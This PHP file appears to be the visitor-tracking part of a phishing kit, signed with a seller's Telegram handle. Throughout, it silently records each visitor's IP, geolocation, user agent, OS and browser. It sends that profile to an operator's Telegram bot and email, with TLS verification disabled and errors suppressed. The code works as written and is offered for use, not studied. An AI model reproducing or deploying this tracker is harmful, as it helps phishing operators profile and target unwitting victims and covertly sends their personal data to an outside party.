<?php
session_start();
error_reporting(0);

// Include Settings and Functions
include('function.php');
include('../config.php');

// Check if visit tracking is enabled
if ($settings['visit'] != "1") {
    exit();
}

// Get visitor information
$IP = get_client_ip();
$useragent = $_SERVER['HTTP_USER_AGENT'];
$date = date("Y-m-d H:i:s");
$os = getOS($useragent);
$browser = getBrowser($useragent);

// Get geolocation information
$details = get_ip1($IP);
$details = json_decode($details, true);
$countryname = $details['geoplugin_countryName'] ?? 'Unknown';
$city = $details['geoplugin_city'] ?? 'Unknown';

if($countryname == "") {
    $details = get_ip2($IP);
    $details = json_decode($details, true);
    $countryname = $details['country'] ?? 'Unknown';
    $city = $details['city'] ?? 'Unknown';
}

// Prepare Telegram Message
$msgtg = "BY : https://t.me/Blinkz455\n\n\n❤️== NEW VISITOR DETECTED [".$IP."] ==❤️\n\n\n";
$msgtg .= "=========[ VISITOR INFO ]=========\n\n";
$msgtg .= "IP : ".$IP."\n";
$msgtg .= "Location : http://www.geoiptool.com/?IP=".$IP."\n";
$msgtg .= "Country : ".$countryname."\n";
$msgtg .= "City : ".$city."\n";
$msgtg .= "Date : ".$date."\n";
$msgtg .= "User Agent : ".$useragent."\n";
$msgtg .= "OS / BR : ".$os." / ".$browser."\n";

// Send to Telegram if enabled
if ($settings['telegram'] == "1"){
    $data = $msgtg;
    $send = ['chat_id'=>$settings['chat_id'],'text'=>$data];
    $website = "https://api.telegram.org/bot{$settings['bot_url']}";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    if (!$result) {
        file_put_contents(__DIR__ . '/telegram_visit_error.log', '['.date('c')."] visit send failed: ".curl_error($ch)."\n", FILE_APPEND);
    }
    curl_close($ch);
}

// Send Email if enabled
if ($settings['send_mail'] == "1"){
    $to = $settings['email'];
    $headers = "Content-type:text/plain;charset=UTF-8\r\n";
    $headers .= "From: Holaide <olaideadebowale241@may.com\r\n";
    $subject = "✦ NEW VISITOR FROM ✦ {$IP} ✦";
    $msg = $msgtg;
    mail($to, $subject, $msg, $headers);
}

// Log visit to file (optional)
file_put_contents(__DIR__ . '/visits.log', "[".$date."] ".$IP." - ".$countryname." - ".$os." / ".$browser."\n", FILE_APPEND);

exit();
?>